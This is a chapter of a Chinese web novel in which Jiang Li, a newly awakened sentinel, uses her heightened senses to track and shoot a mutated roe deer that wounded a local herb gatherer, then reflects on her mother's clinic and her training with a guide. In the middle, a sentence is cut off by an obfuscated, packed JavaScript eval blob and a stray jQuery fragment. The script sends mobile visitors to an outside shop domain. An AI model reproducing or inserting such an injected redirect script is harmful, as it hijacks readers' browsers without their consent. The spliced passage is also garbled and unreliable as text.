这种事情,姜藜很熟。
她赶快起身去开门。
果然,门外是两名附近的住户,抬着一位伤员。
只是这位伤员的伤势看上去有些奇怪。
姜藜赶快把人让进来。
明艳女士也放下阿乖,张罗着让他们把伤员抬到治疗室。
抬人的两个人,安置好伤员,从治疗室撤出来一个人,另外一个人在里面给明艳女士打下手。
姜藜没跟着明艳女士进去。
她需要问清楚伤员受伤的具体情况。
姜藜他们家作为周围的护林员,还会负责维持周围的秩序和确保大家的安全。
如果出现什么危险情况,他们能解决就由他们来解决。他们解决不了,也是由他们负责找人来解决。
祖祖辈辈,历来如此。
现在,明艳女士和姜藜解决不了的情况,主要分两种。
一种是大型猛兽出没,会根据情况,看看是否需要联合附近的猎户一起行动。
另外一种是畸变种,全部需要按要求上报,由白塔派人处理。他们从旁协助。
前些天,姜藜跟沈光小队出任务,就属于第二种情况。
“江叔,这是什么情况?”
“哎,别提了。”江叔接过姜藜递给他的水,喝了半杯,开始讲。
他们三个人本来结伴去山里挖药材。
现在这个季节,万物复苏,野生黄芪、防风、龙胆草等一些价格不错的中药材经过一个冬天的积累,都到了挖掘的好时机。
如果运气好,还能发现刚发芽的人参。
他们本身就是附近的住户,对这里的情况很熟悉。
特意选择了药材多、野兽少的区域。
起了个大早上山,想多一点收获。
结果刚过去两个小时,突然出现一头畸变种。
那位伤员就是那时候受的伤。
还好是一头傻狍子畸变成的畸变种,基本没有智力,很好骗。
他们又熟悉地形,七拐八拐,边跑边躲,才顺利把伤员抢回来,三个人一起逃下山。
一般遇到这种情况,姜藜和明艳女士处理不了,会选择上报白塔。
可是现在,姜藜自己就是哨兵,身边还有沈光这个战斗力。
就算都宁伤没好,他们两个人解决掉这头傻狍子应该不算太难吧?
正好,姜藜刚觉醒,拿它练练手。
主要是,如果姜藜不管它,过两天直接离开。
她没办法放心明艳女士。
畸变种跟野兽不一样。
野兽会有主要的活动区域。如果不是特殊情况,比如食物短缺,不会轻易摸到据点来。
畸变种不一样。
这玩意非人非兽。
既不能用人类的思维去考虑,也不能完全用动物的生存模式去想它。
说不准跑着跑着就跑到据点来了。
如果只有明艳女士一个人,未必打得过。
江叔他们是三个大男人,有一个人受伤,另外两个人仍然战斗力和体力都在线,才把伤员抢回来。
如果是一个人单独遇到畸变种,很难生还。
姜藜看着沈光,询问他是否可以直接由他们俩把这头傻狍子解决掉。
旁边的都宁很有分寸感,他应该已经感知到她的想法,没抢先讲话,而是让她自己问沈光。
姜藜不得不再次感叹,都宁真的很体贴。
不知道是都宁情商太高,还是向导普遍如此。
这种事,她肯定要自己开口。
如果都宁帮她问,无形中会影响沈光的判断。
她不喜欢那样。
如果沈光不想去,她自己也是要去试一试的。
大不了,多找几个猎户跟她一起。
万一她受伤,也能把她扛回来。
沈光琢磨一下,也不是不行。
他们特战队在外出任务时,可以便宜行事。
不用事事申请。
毕竟很多临时状况,没时间没条件先打了报告,再等批复。
等批复下来,人可能都死完了。
一头没有智力的畸变种,他们两个人应该可以。
姜藜和沈光收拾一下,背好武器弹药,江叔带路,一起去找畸变种。
在江叔他们最后跑掉的位置附近找了几圈,没有找到畸变种的踪迹。
傻狍子这玩意吧,虽然傻,但跑得很快。
经常一阵风一样来了,一阵风一样就跑远了。
这也是为什么这玩意这么智商堪忧,还能在野外活下来。
这么长时间过去,不知道它跑到哪儿去了。
姜藜和江叔试图分析一下畸变种逃跑时留下的痕迹。
不太能分辨出来。
实在是现在这个季节,山里的草刚露头,被踩踏过也不明显。
一阵风吹过,姜藜突然闻到一股淡淡的泥土腥气。
风过去,那股气味就淡了不少。
姜藜再次提鼻子闻了闻。
没想到,折磨了她几天的过于灵敏的嗅觉,这就派上了用场。
傻狍子这种动物,除了特殊情况,比如发情、逃跑、排泄,大部分情况下,没有什么特别的味道。
闻上去就是淡淡的草腥味,或者泥土腥味。
如果姜藜是个普通人,这会儿根本闻不到傻狍子留下的淡淡泥土腥气。
可她现在作为哨兵,却清晰地闻到了。
她甚至能根据这股气味,辨别出大致的方向。
哨兵的能力真是方便。
沈光也闻到了这股泥土腥气,只是他不了解情况。
还以为原始森林里都这样。
两个人一路闻着,终于找到了他们的目标——那头傻狍子畸变种。
它可能是跑累了,正趴在旁边那座山的山坡上晒太阳。
姜藜都气笑了,它还挺惬意。
“把它交给我。”姜藜用气声跟沈光说。
沈光比了一个OK的手势。
三个人悄悄爬到合适的高度,方便射击。
主要不敢爬到那个坡上去,怕靠太近,被它发现,还要受累追它。
现在这个距离,江叔只能看到对面山坡上有一头不知道是什么的动物,具体是什么动物,就看不清了。
江叔一直知道姜家丫头射击水平很牛,可这个距离,她是认真的吗?
江叔知道姜家丫头一直很靠谱,很小的时候就能跟她妈一起巡山,所以没出声。
既然这丫头觉得她能射中,他就看着吧。
这种时候,姜藜真心觉得成为哨兵真好。
现在这个距离,普通人从瞄准镜望过去,都没办法准确地瞄准畸变种的脑袋或心脏。
可现在,她裸眼就能。
不用瞄准镜,她看得清清楚楚。
傻狍子根本没感觉到危险,还趴在那儿美美地晒着太阳。
突然感觉头上一痛,就再也无法感知到太阳的温度了。
姜藜和沈光先跑过去处理尸体,让江叔在后面慢慢走。
江叔看着姜家丫头跟那个哨兵一起跑得飞快,很快就不见了。
总觉得有点神奇。
姜家丫头真打中了?就这个根本不可能打中的距离?
还有,她什么时候能跑得这么快了?
江叔走到时,姜藜和沈光已经埋完畸变种的尸体。
在野外,畸变种的尸体最好焚烧或者掩埋。
不然被其他动物吃掉,万一再传播病毒。
森林里不能焚烧,容易引起山火,只能掩埋。
上次,他们没处理畸变种的尸体,是时间紧迫,需要赶快去救都宁,条件不允许。
其实畸变种的成因,跟人类的觉醒一样,目前仍然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722432|208739||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
原因不明。
如果情况紧急,畸变种的尸体不埋也行。
上次觉醒的时候,情况危急,姜藜没有足够的时间和精力进行尝试。
今天一战,她对于自己的战斗力提升程度很满意。
五感增强之后,能有这种效果,平时受点罪也值得了。
下山路上,江叔跟他们道别,直接回家。
姜藜和沈光回到据点,伤员的家属已经得到消息赶过来。
姜藜看着明艳女士安慰伤员的样子,就知道命应该是保住了。
这么多年,明艳女士也不是没有抢救不过来的病患。
毕竟她医术再高明,据点的医疗条件十分有限。
很多高级设备都没有配备。
或者有伤员送过来时已经剩下一口气。
这种情况,除非孙思邈复活,去大医院也救不活。
虽然发生的次数不多,但姜藜印象非常深刻。
因为一遇到这种事情,明艳女士都会消沉几天。
在患者家属面前,明艳女士又不敢表现出来。
总没有道理让家属失去亲人的同时,还要顾虑医生的情绪。
患者家属还可以光明正大地把情绪发泄出来,明艳女士却只能在心里暗暗沮丧难受。
相反,如果患者成功抢救回来,却注定要留下些后遗症,比如缺胳膊少腿。
明艳女士反而会自然地跟家属一起表示难过和遗憾。
姜藜能够感觉到,在明艳女士心里,人活着最大。
能活下去,一切都有希望。
至于其他,重要也不重要。
伤员家属留下一个人照顾伤员,剩下的人跟明艳女士告别,先回去。
伤员还没完全脱离危险,需要留在这里观察几天。
身边需要人贴身照顾。
姜藜知道,接下来几天,据点都会很热闹。
会有附近的人开着车,拿着礼物,带着做好的菜过来探病。
因为他们来的人太多,路程又远,没办法快速往返,只能在据点吃饭。
大家又不好意思让明艳女士负责他们的伙食,就选择自备。
家里会像开派对一样,餐桌上会摆满各家自带的拿手菜,满满一大桌子。
坐不下这么多人,也没那么多椅子,大家就端着饭碗,站着吃。
小的时候,姜藜很喜欢这种氛围,像家庭聚会一样。
各位叔叔阿姨都很喜欢她,会轮着给她夹菜,以免她个子小够不着。
大家倒是很自觉,会尽量把声音放小,以免影响病人休息。
有些时候,有些人来了又走,病人都不知道。
病人可能在睡觉,或者就没清醒过来。
可这些人,还是会来。
小时候,姜藜不懂。
现在,她隐约能明白一些。
这可能就是明艳女士一直带着她住在这里,没有搬走的原因。
终于闲下来。
姜藜还要继续上课。
不知道今天能不能成功学会树立屏障。
再学不会,真没有时间了。
沈光和都宁询问过她的意见,已经定下来后天一早出发去白塔。
路上时间紧张,大概没什么时间学习。
姜藜真的不想去了白塔,在众多向导面前裸奔。
她实在无法接受。
可惜事与愿违,都宁让她找到那种建立一堵墙,封闭住她所有情绪的感觉。
让她抓住强烈的不想被人窥伺的愿望。
姜藜确信她的愿望非常强烈。
可是,她就是找不到那种封闭情绪的感觉。
情绪,这种虚无缥缈,看不见摸不着的东西,要怎么封闭住?
她连情绪的本体都无法准确感知到。
干了。
不会真让她在那么多人面前裸奔吧?